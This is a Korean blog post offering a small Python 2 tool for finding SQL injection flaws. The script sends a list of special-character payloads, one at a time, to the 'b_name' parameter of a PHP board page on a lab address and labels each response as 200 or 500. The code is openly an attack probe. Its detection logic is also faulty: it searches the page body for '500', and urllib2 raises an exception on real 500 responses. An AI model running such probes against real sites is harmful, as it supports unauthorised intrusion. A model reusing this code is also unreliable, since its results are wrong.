SQL Injection 공격의 취약성을 쉽게 발견하기 위한 자동화 도구
개발 언어 |
Python |
버전 |
v0.1 |
기타 |
개발 단계 |
특정 파라미터에 다양한 특수 문자를 삽입하여 HTTP 패킷을 해당 공격 서버에 전송한다.
응답 받은 HTTP 패킷의 코드번호가 200인지 500인지 확인한다.
Method : Get 방식
특수 문자 : text 파일에 개별 저장
import sys import urllib2 fileNM = "C:\Users\User\Desktop\quarry.txt" addr = "http://10.1.1.3:10001" vuln = "/db_p/board/list.php" para = "b_name" quarryList = [] def helpFunc(): print '[+] Usage : python sqlInjectionGet [option]\n\n' exit() def sqlInjection(): fop = open(fileNM, 'r') for line in fop: line = line.strip() quarryList.append(line) fop.close() c = 0 while c < len(quarryList): url = addr + vuln + "?" + para + "=" + quarryList[c] response = urllib2.urlopen(url) response = response.read() response = response.find('500') if int(response)<0: print "200 correct" else: print "500 Error" c = c + 1 def main(): if len(sys.argv) < 2: print '[-] How to use this python program. help -h ' exit() elif sys.argv[1]=="-h": helpFunc()
elif sys.argv[1]=="-I": sqlInjection()
else: exit()
if __name__ == '__main__': main()
|
'00. > 04. Python' 카테고리의 다른 글
[python] Google SMTP를 이용하여 E-mail 전송 (0) | 2014.03.17 |
---|---|
python개발 Post MySQL Injection Tool v.01 (0) | 2013.11.20 |
포트 스캐너 (0) | 2013.09.04 |